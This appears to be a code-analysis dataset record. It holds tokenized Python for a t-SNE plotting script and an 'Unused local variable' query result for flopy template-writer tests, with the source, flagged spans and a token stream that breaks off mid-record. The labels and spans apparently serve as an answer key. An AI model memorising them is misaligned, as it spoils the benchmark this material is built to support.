"labels_", ",_", "data_", "=_", "ts", "ne", "\\u", "proj_", ",_", "columns_", "=_", "[_", "'", "x", "'_", ",_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "df_", "._", "to", "\\u", "csv_", "(_", "'", "data", "/", "ts", "ne", ".", "csv", "'_", ",_", "index", "\\u", "label_", "=_", "'", "label", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2d", " ", "visualization", "_", "\\u\\u\\uNL\\u\\u\\u_", "scatter_", "(_", "ts", "ne", "\\u", "proj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "'", "images", "/", "ts", "ne", ".", "png", "'_", ",_", "dpi_", "=_", "120_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Mon", "key", " ", "patch", " ", "in", " ", "order", " ", "to", " ", "track", " ", "model", " ", "evolution", "_", "\\u\\u\\uNL\\u\\u\\u_", "sklearn_", "._", "mani", "fold_", "._", "t", "\\u", "sne", "_", "._", "\\u", "gradi", "ent", "\\u", "descent", "_", "=_", "\\u", "gradi", "ent", "\\u", "descent", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Position", "s", " ", "of", " ", "the", " ", "map", " ", "points", " ", "at", " ", "every", " ", "iterati", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "positions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "proj_", "=_", "TS", "NE_", "(_", "random", "\\u", "state_", "=_", "RS_", ")_", "._", "fit", "\\u", "transform_", "(_", "ts", "ne", "\\u", "proj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "iter_", "=_", "np_", "._", "dsta", "ck_", "(_", "position_", "._", "reshape_", "(_", "-_", "1_", ",_", "2_", ")_", "for_", "position_", "in_", "positions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", ",_", "ax_", ",_", "sc_", "=_", "scatter_", "(_", "X", "\\u", "iter_", "[_", "..._", ",_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "animation_", "=_", "mpy", "_", "._", "Vid", "eo", "Clip", "_", "(_", "make", "\\u", "frame", "\\u", "mpl_", ",_", "duration_", "=_", "X", "\\u", "iter_", "._", "shape_", "[_", "2_", "]_", "/_", "40.", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "animation_", "._", "write", "\\u", "gif", "_", "(_", "\"", "images", "/", "ts", "ne", ".", "gif", "\"_", ",_", "fps_", "=_", "20_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "scatter_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "choose", " ", "a", " ", "color", " ", "palette", " ", "with", " ", "seabor", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "palette_", "=_", "np_", "._", "array_", "(_", "sns_", "._", "color", "\\u", "palette_", "(_", "\"", "hls", "\"_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "create", " ", "a", " ", "scatter", " ", "plot", "._", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "(_", "8_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "=_", "plt_", "._", "subplot_", "(_", "aspect_", "=_", "'", "equal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sc_", "=_", "ax_", "._", "scatter_", "(_", "x_", "[_", ":_", ",_", "0_", "]_", ",_", "x_", "[_", ":_", ",_", "1_", "]_", ",_", "lw_", "=_", "0_", ",_", "s_", "=_", "40_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "xlim_", "(_", "-_", "25_", ",_", "25_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "ylim_", "(_", "-_", "25_", ",_", "25_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "axis_", "(_", "'", "off", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "axis_", "(_", "'", "tig", "ht", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "f_", ",_", "ax_", ",_", "sc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "gradi", "ent", "\\u", "descent", "_", "(_", "objective_", ",_", "p0_", ",_", "it_", ",_", "n", "\\u", "iter_", ",_", "n", "\\u", "iter", "\\u", "with", "out", "\\u", "progress_", "=_", "30_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "momentum_", "=_", "0.5_", ",_", "learn", "ing", "\\u", "rate_", "=_", "1000.0_", ",_", "min", "\\u", "gain_", "=_", "0.01_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "grad", "\\u", "norm_", "=_", "1e-", "7_", ",_", "min", "\\u", "error", "\\u", "diff_", "=_", "1e-", "7_", ",_", "verbose_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "documentation", " ", "of", " ", "this", " ", "function", " ", "can", " ", "be", " ", "found", " ", "in", " ", "scikit", "-", "learn", "'", "s", " ", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "p0_", "._", "copy_", "(_", ")_", "._", "ravel_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update_", "=_", "np_", "._", "zero", "s", "\\u", "like_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gains", "_", "=_", "np_", "._", "ones", "\\u", "like_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "np_", "._", "finfo", "_", "(_", "np_", "._", "float_", ")_", "._", "max_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "error_", "=_", "np_", "._", "finfo", "_", "(_", "np_", "._", "float_", ")_", "._", "max_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "iter_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "it_", ",_", "n", "\\u", "iter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "save", " ", "the", " ", "current", " ", "position", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "positions_", "._", "append_", "(_", "p_", "._", "copy_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "error_", ",_", "grad_", "=_", "objective_", "(_", "p_", ",_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error", "\\u", "diff_", "=_", "np_", "._", "abs_", "(_", "new", "\\u", "error_", "-_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "new", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "grad", "\\u", "norm_", "=_", "linalg_", "._", "norm_", "(_", "grad_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "error_", "<_", "best", "\\u", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "error_", "=_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "iter_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "i_", "-_", "best", "\\u", "iter_", ">_", "n", "\\u", "iter", "\\u", "with", "out", "\\u", "progress_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "min", "\\u", "grad", "\\u", "norm_", ">=_", "grad", "\\u", "norm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "min", "\\u", "error", "\\u", "diff_", ">=_", "error", "\\u", "diff_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inc_", "=_", "update_", "*_", "grad_", ">=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dec_", "=_", "np_", "._", "invert_", "(_", "inc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gains", "_", "[_", "inc_", "]_", "+=_", "0.05_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gains", "_", "[_", "dec_", "]_", "*=_", "0.95_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "np_", "._", "clip_", "(_", "gains", "_", ",_", "min", "\\u", "gain_", ",_", "np_", "._", "inf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "grad_", "*=_", "gains", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update_", "=_", "momentum_", "*_", "update_", "-_", "learn", "ing", "\\u", "rate_", "*_", "grad_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "+=_", "update_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "p_", ",_", "error_", ",_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "frame", "\\u", "mpl_", "(_", "t_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "int_", "(_", "t_", "*_", "40_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "X", "\\u", "iter_", "[_", "..._", ",_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sc_", "._", "set\\u", "offsets_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "mpl", "fig", "\\u", "to", "\\u", "npi", "mage_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "file", "\\u", "argument_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "\"", "t", "-", "SN", "E", " ", "commandline", " ", "tool", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "csv", "\\u", "file", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "input", " ", "csv", " ", "filename", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "label", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "column", " ", "name", " ", "with", " ", "label", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "read", "\\u", "input", "\\u", "string_", "(_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "graph", "\\u", "file_", "=_", "args_", "._", "graph", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph", "\\u", "string_", "=_", "graph", "\\u", "file_", "._", "readline_", "(_", ")_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "graph", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
modflowpy/flopy/autotest/t018_test.py
[ { "content": "def test_tpl_constant():\n # Define the model dimensions\n nlay = 3\n nrow = 20\n ncol = 20\n\n # Create the flopy model object and add the dis and lpf packages\n m = flopy.modflow.Modflow(modelname='tpl1', model_ws='./temp')\n dis = flopy.modflow.ModflowDis(m, nlay, nrow, ncol)\n lpf = flopy.modflow.ModflowLpf(m, hk=10.)\n\n mfpackage = 'lpf'\n partype = 'hk'\n parname = 'HK_LAYER_1'\n idx = np.empty((nlay, nrow, ncol), dtype=np.bool)\n idx[0] = True\n idx[1:] = False\n\n # The span variable defines how the parameter spans the package\n span = {'idx': idx}\n\n # These parameters have not affect yet, but may in the future\n startvalue = 10.\n lbound = 0.001\n ubound = 1000.\n transform='log'\n\n p = params.Params(mfpackage, partype, parname, startvalue,\n lbound, ubound, span)\n\n tw = tplwriter.TemplateWriter(m, [p])\n tw.write_template()\n\n tplfile = os.path.join('./temp', 'tpl1.lpf.tpl')\n assert os.path.isfile(tplfile)\n\n return", "metadata": "root.test_tpl_constant", "header": "['module', '___EOS___']", "index": 6 }, { "content": "def test_tpl_layered():\n nlay = 3\n nrow = 20\n ncol = 20\n\n # Create the flopy model object and add the dis and lpf packages\n m = flopy.modflow.Modflow(modelname='tpl2', model_ws='./temp')\n dis = flopy.modflow.ModflowDis(m, nlay, nrow, ncol)\n lpf = flopy.modflow.ModflowLpf(m, hk=10.)\n\n mfpackage = 'lpf'\n partype = 'hk'\n parname = 'HK_LAYER_1-3'\n\n # Span indicates that the hk parameter applies as a multiplier to layers 0 and 2 (MODFLOW layers 1 and 3)\n span = {'layers': [0, 2]}\n\n # These parameters have not affect yet, but may in the future\n startvalue = 10.\n lbound = 0.001\n ubound = 1000.\n transform='log'\n\n p = params.Params(mfpackage, partype, parname, startvalue,\n lbound, ubound, span)\n tw = tplwriter.TemplateWriter(m, [p])\n tw.write_template()\n\n tplfile = os.path.join('./temp', 'tpl2.lpf.tpl')\n assert os.path.isfile(tplfile)\n\n return", "metadata": "root.test_tpl_layered", "header": "['module', '___EOS___']", "index": 45 }, { "content": "def test_tpl_zoned():\n nlay = 3\n nrow = 20\n ncol = 20\n\n # Create the flopy model object and add the dis and lpf packages\n m = flopy.modflow.Modflow(modelname='tpl3', model_ws='./temp')\n dis = flopy.modflow.ModflowDis(m, nlay, nrow, ncol)\n lpf = flopy.modflow.ModflowLpf(m, hk=10.)\n\n # Create a zone array\n zonearray = np.ones((nlay, nrow, ncol), dtype=int)\n zonearray[0, 10:, 7:] = 2\n zonearray[0, 15:, 9:] = 3\n zonearray[1] = 4\n\n # Create a list of parameters for HK\n mfpackage = 'lpf'\n parzones = [2, 3, 4]\n parvals = [56.777, 78.999, 99.]\n lbound = 5\n ubound = 500\n transform = 'log'\n plisthk = params.zonearray2params(mfpackage, 'hk', parzones, lbound,\n ubound, parvals, transform, zonearray)\n\n # Create a list of parameters for VKA\n parzones = [1, 2]\n parvals = [0.001, 0.0005]\n zonearray = np.ones((nlay, nrow, ncol), dtype=int)\n zonearray[1] = 2\n plistvk = params.zonearray2params(mfpackage, 'vka', parzones, lbound,\n ubound, parvals, transform, zonearray)\n\n # Combine the HK and VKA parameters together\n plist = plisthk + plistvk\n\n # Write the template file\n tw = tplwriter.TemplateWriter(m, plist)\n tw.write_template()\n\n tplfile = os.path.join('./temp', 'tpl3.lpf.tpl')\n assert os.path.isfile(tplfile)\n\n return", "metadata": "root.test_tpl_zoned", "header": "['module', '___EOS___']", "index": 79 } ]
[ { "span": "dis ", "start_line": 14, "start_column": 4, "end_line": 14, "end_column": 7 }, { "span": "lpf ", "start_line": 15, "start_column": 4, "end_line": 15, "end_column": 7 }, { "span": "transform=", "start_line": 31, "start_column": 4, "end_line": 31, "end_column": 13 }, { "span": "dis ", "start_line": 52, "start_column": 4, "end_line": 52, "end_column": 7 }, { "span": "lpf ", "start_line": 53, "start_column": 4, "end_line": 53, "end_column": 7 }, { "span": "transform=", "start_line": 66, "start_column": 4, "end_line": 66, "end_column": 13 }, { "span": "dis ", "start_line": 86, "start_column": 4, "end_line": 86, "end_column": 7 }, { "span": "lpf ", "start_line": 87, "start_column": 4, "end_line": 87, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "tpl", "\\u", "constant_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Define", " ", "the", " ", "model", " ", "dimensions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nla", "y_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nrow_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ncol_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "flop", "y", " ", "model", " ", "object", " ", "and", " ", "add", " ", "the", " ", "dis", " ", "and", " ", "lp", "f", " ", "packages_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow_", "(_", "model", "name_", "=_", "'", "tpl", "1", "'_", ",_", "model", "\\u", "ws_", "=_", "'./", "temp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dis_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow", "Dis", "_", "(_", "m_", ",_", "nla", "y_", ",_", "nrow_", ",_", "ncol_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp", "f_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow", "Lp", "f_", "(_", "m_", ",_", "hk", "_", "=_", "10._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mf", "package_", "=_", "'", "lp", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "part", "ype_", "=_", "'", "hk", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "name_", "=_", "'", "HK", "\\u", "LAYER", "\\u", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "=_", "np_", "._", "empty_", "(_", "(_", "nla", "y_", ",_", "nrow_", ",_", "ncol_", ")_", ",_", "dtype_", "=_", "np_", "._", "bool_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "[_", "0_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "[_", "1_", ":_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "span", " ", "variab", "le", " ", "defin", "es", " ", "how", " ", "the", " ", "parameter", " ", "span", "s", " ", "the", " ", "package_", "\\u\\u\\uNL\\u\\u\\u_", "span_", "=_", "{_", "'", "idx", "'_", ":_", "idx_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "se", " ", "parameter", "s", " ", "have", " ", "not", " ", "affect", " ", "ye", "t", ",", " ", "but", " ", "may", " ", "in", " ", "the", " ", "future_", "\\u\\u\\uNL\\u\\u\\u_", "start", "value_", "=_", "10._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lbo", "und_", "=_", "0.001_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ub", "ound_", "=_", "1000._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transform_", "=_", "'", "log", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "params_", "._", "Params_", "(_", "mf", "package_", ",_", "part", "ype_", ",_", "par", "name_", ",_", "start", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lbo", "und_", ",_", "ub", "ound_", ",_", "span_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tw_", "=_", "tpl", "writer_", "._", "Templa", "te", "Writer_", "(_", "m_", ",_", "[_", "p_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tw_", "._", "write", "\\u", "template_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tpl", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "'./", "temp", "'_", ",_", "'", "tpl", "1", ".", "lp", "f", ".", "tpl", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "tpl", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tpl", "\\u", "layer", "ed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nla", "y_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nrow_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ncol_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "flop", "y", " ", "model", " ", "object", " ", "and", " ", "add", " ", "the", " ", "dis", " ", "and", " ", "lp", "f", " ", "packages_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow_", "(_", "model", "name_", "=_", "'", "tpl", "2", "'_", ",_", "model", "\\u", "ws_", "=_", "'./", "temp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dis_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow", "Dis", "_", "(_", "m_", ",_", "nla", "y_", ",_", "nrow_", ",_", "ncol_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp", "f_", "=_", "flop", "y_", "._", "mod", "flow_", "._", "Mod", "flow", "Lp", "f_", "(_", "m_", ",_", "hk", "_", "=_", "10._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mf", "package_", "=_", "'", "lp", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "part", "ype_", "=_", "'", "hk", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "par", "name_", "=_", "'", "HK", "\\u", "LAYER", "\\u", "1", "-", "3", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Span", " ", "indicat", "es", " ", "tha", "t", " ", "the", " ", "hk", " ", "parameter", " ", "appli", "es", " ", "as", " ", "a", " ", "multiplie", "r", " ", "to", " ", "layer", "s", " ", "0", " ", "and", " ", "2", " ", "(", "MOD", "FLOW", " ", "layer", "s", " ", "1", " ", "and", " ", "3", ")_", "\\u\\u\\uNL\\u\\u\\u_", "span_", "=_", "{_", "'", "layer", "s", "'_", ":_", "[_", "0_", ",_", "2_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "se", " ", "parameter", "s", " ", "have", " ", "not", " ", "affect", " ", "ye", "t", ",", " ", "but", " ", "may", " ", "in", " ", "the", " ", "future_", "\\u\\u\\uNL\\u\\u\\u_", "start", "value_", "=_", "10._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lbo", "und_", "=_", "0.001_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ub", "ound_", "=_", "1000._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transform_", "=_", "'", "log", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "params_", "._", "Params_", "(_", "mf", "package_", ",_", "part", "ype_", ",_", "par", "name_", ",_", "start", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lbo", "und_", ",_", "ub", "ound_", ",_", "span_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tw_", "=_", "tpl", "writer_", "._", "Templa", "te", "Writer_", "(_", "m_", ",_", "[_", "p_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tw_", "._", "write", "\\u", "template_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tpl", "file_", "=_", "os_", "._", "path_", "._", "join_", "(_", "'./", "temp", "'_", ",_", "'", "tpl", "2", ".", "lp", "f", ".", "tpl", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "isfile_", "(_", "tpl", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tpl", "\\u", "zone", "d_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nla", "y_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nrow_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ncol_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "flop", "y", " ", "model", " ", "object", " ", "and", " ", "add", " ", "the", " ", "dis", " ", 